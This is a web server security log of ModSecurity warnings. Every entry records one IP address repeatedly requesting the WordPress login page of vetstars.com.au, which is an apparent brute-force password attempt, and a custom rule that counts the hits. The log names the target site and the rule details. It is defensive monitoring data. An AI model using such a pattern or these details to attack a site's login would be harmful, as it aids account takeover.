[Sun Mar 01 11:29:21.442939 2026] [:error] [pid 35654:tid 35663] [client 85.11.167.108:58489] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOykUIPeuEwCTirofKQJgAAA8U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:24.313307 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:10469] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOylIC4dBNEGEcJx-OFAgAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:33.352530 2026] [:error] [pid 35654:tid 35677] [client 85.11.167.108:17373] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOynUIPeuEwCTirofKQTQAAA9M"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:36.325159 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:24660] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyoIC4dBNEGEcJx-OFEQAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:45.357994 2026] [:error] [pid 34785:tid 34798] [client 85.11.167.108:31086] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyqYC4dBNEGEcJx-OFGwAAAws"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:48.277181 2026] [:error] [pid 24576:tid 24600] [client 85.11.167.108:38491] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyrIvfb5CnctJh071IeAAAARQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:29:57.401563 2026] [:error] [pid 34286:tid 34301] [client 85.11.167.108:44839] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOytXPFxpCIhHW6XmmqYAAAAo0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:00.302600 2026] [:error] [pid 35654:tid 35671] [client 85.11.167.108:52209] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyuEIPeuEwCTirofKQkwAAA80"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:09.387230 2026] [:error] [pid 34552:tid 34565] [client 85.11.167.108:58693] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOywXBlU_DRqGi4yvsX7AAAAso"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:12.280080 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:10393] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOyxAUyU3c4Xm_xpMTIOAAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:28.218842 2026] [:error] [pid 34286:tid 34291] [client 85.11.167.108:25047] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy1HPFxpCIhHW6XmmqkQAAAoM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:31.265305 2026] [:error] [pid 34552:tid 34574] [client 85.11.167.108:31278] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy13BlU_DRqGi4yvsYIAAAAtM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:40.267512 2026] [:error] [pid 34552:tid 34574] [client 85.11.167.108:37434] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy4HBlU_DRqGi4yvsYLQAAAtM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:43.152069 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:43915] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy4wUyU3c4Xm_xpMTIgQAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:51.989518 2026] [:error] [pid 34286:tid 34305] [client 85.11.167.108:50044] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy63PFxpCIhHW6Xmmq2gAAApE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:30:54.930234 2026] [:error] [pid 35654:tid 35674] [client 85.11.167.108:57007] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy7kIPeuEwCTirofKR3wAAA9A"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:03.923229 2026] [:error] [pid 35654:tid 35682] [client 85.11.167.108:63260] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy90IPeuEwCTirofKSAwAAA9g"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:06.816667 2026] [:error] [pid 35350:tid 35356] [client 85.11.167.108:14577] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOy-oqZbPJ_JGYY1RT_0gAAA4Q"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:15.800762 2026] [:error] [pid 35350:tid 35364] [client 85.11.167.108:20599] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzA4qZbPJ_JGYY1RQAIAAAA4w"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:18.826051 2026] [:error] [pid 35350:tid 35365] [client 85.11.167.108:27239] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzBoqZbPJ_JGYY1RQANwAAA40"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:27.950107 2026] [:error] [pid 21156:tid 21184] [client 85.11.167.108:33425] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzD6saG_9IkG8N2p0QawAAABI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:30.911252 2026] [:error] [pid 34785:tid 34788] [client 85.11.167.108:40056] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzEoC4dBNEGEcJx-OFngAAAwE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:39.842346 2026] [:error] [pid 33976:tid 33994] [client 85.11.167.108:46019] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzGwUyU3c4Xm_xpMTI7gAAAlA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:42.775230 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:52681] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzHgUyU3c4Xm_xpMTI8AAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:52.922186 2026] [:error] [pid 21156:tid 21171] [client 85.11.167.108:59863] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzKKsaG_9IkG8N2p0QowAAAAU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:31:56.447204 2026] [:error] [pid 21158:tid 21195] [client 85.11.167.108:11944] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzLDriSIe3-pWnbPYL8wAAAEI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:05.997925 2026] [:error] [pid 21263:tid 21288] [client 85.11.167.108:18653] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzNdAxjzLvN1upBhkgOgAAANU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:08.934263 2026] [:error] [pid 34785:tid 34810] [client 85.11.167.108:25860] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzOIC4dBNEGEcJx-OFygAAAxc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:18.256299 2026] [:error] [pid 35350:tid 35371] [client 85.11.167.108:32171] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzQoqZbPJ_JGYY1RQAyAAAA5M"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:21.190478 2026] [:error] [pid 35654:tid 35674] [client 85.11.167.108:39775] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzRUIPeuEwCTirofKTVwAAA9A"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:31.758831 2026] [:error] [pid 34552:tid 34574] [client 85.11.167.108:48754] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzT3BlU_DRqGi4yvsYqQAAAtM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:34.698843 2026] [:error] [pid 35060:tid 35069] [client 85.11.167.108:54916] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzUpL8JPoS_tq-tiULYQAAA0c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:43.743549 2026] [:error] [pid 34785:tid 34810] [client 85.11.167.108:61441] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzW4C4dBNEGEcJx-OF2gAAAxc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:46.923862 2026] [:error] [pid 21263:tid 21288] [client 85.11.167.108:13619] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzXtAxjzLvN1upBhkgpwAAANU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:56.342762 2026] [:error] [pid 34286:tid 34289] [client 85.11.167.108:20378] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzaHPFxpCIhHW6XmmrigAAAoE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:32:59.225151 2026] [:error] [pid 21156:tid 21188] [client 85.11.167.108:27484] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOza6saG_9IkG8N2p0RNwAAABY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:20.810825 2026] [:error] [pid 21156:tid 21188] [client 85.11.167.108:48670] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzgKsaG_9IkG8N2p0RggAAABY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:23.807118 2026] [:error] [pid 33229:tid 33232] [client 85.11.167.108:56174] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzg3zT4c9ddlGE6FxbHQAAAYE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:32.977063 2026] [:error] [pid 21156:tid 21188] [client 85.11.167.108:62682] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzjKsaG_9IkG8N2p0RnAAAABY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:36.063039 2026] [:error] [pid 35060:tid 35069] [client 85.11.167.108:14701] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzkJL8JPoS_tq-tiULggAAA0c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:45.226063 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:21218] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzmQUyU3c4Xm_xpMTJxAAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:33:48.990285 2026] [:error] [pid 35350:tid 35355] [client 85.11.167.108:29450] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOznIqZbPJ_JGYY1RQCBgAAA4M"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:00.203924 2026] [:error] [pid 8688:tid 8710] [client 85.11.167.108:37189] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzqDHJ4Nn-RvulD0rfbgAAAVQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:03.789317 2026] [:error] [pid 21156:tid 21188] [client 85.11.167.108:46121] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzq6saG_9IkG8N2p0R3QAAABY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:13.680041 2026] [:error] [pid 33976:tid 33994] [client 85.11.167.108:53255] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOztQUyU3c4Xm_xpMTJ7QAAAlA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:16.786250 2026] [:error] [pid 21158:tid 21208] [client 85.11.167.108:60753] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzuDriSIe3-pWnbPYM0wAAAE8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:38.261591 2026] [:error] [pid 21159:tid 21229] [client 85.11.167.108:26230] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOzzuLi3ouy1NZIkgpRwwAAAIg"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:41.227532 2026] [:error] [pid 21158:tid 21195] [client 85.11.167.108:33780] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz0TriSIe3-pWnbPYM4gAAAEI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:50.675166 2026] [:error] [pid 34552:tid 34573] [client 85.11.167.108:40815] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz2nBlU_DRqGi4yvsZEgAAAtI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:34:53.817919 2026] [:error] [pid 34286:tid 34289] [client 85.11.167.108:48523] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz3XPFxpCIhHW6XmmsEgAAAoE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:03.088676 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:54866] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz5wUyU3c4Xm_xpMTKDgAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:06.444430 2026] [:error] [pid 34785:tid 34795] [client 85.11.167.108:62678] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz6oC4dBNEGEcJx-OGGgAAAwg"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:15.722652 2026] [:error] [pid 35350:tid 35358] [client 85.11.167.108:13836] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz84qZbPJ_JGYY1RQCqgAAA4Y"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:35:18.662495 2026] [:error] [pid 34785:tid 34795] [client 85.11.167.108:21061] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOz9oC4dBNEGEcJx-OGIgAAAwg"], referer: http://vetstars.com.au/wp-login.php
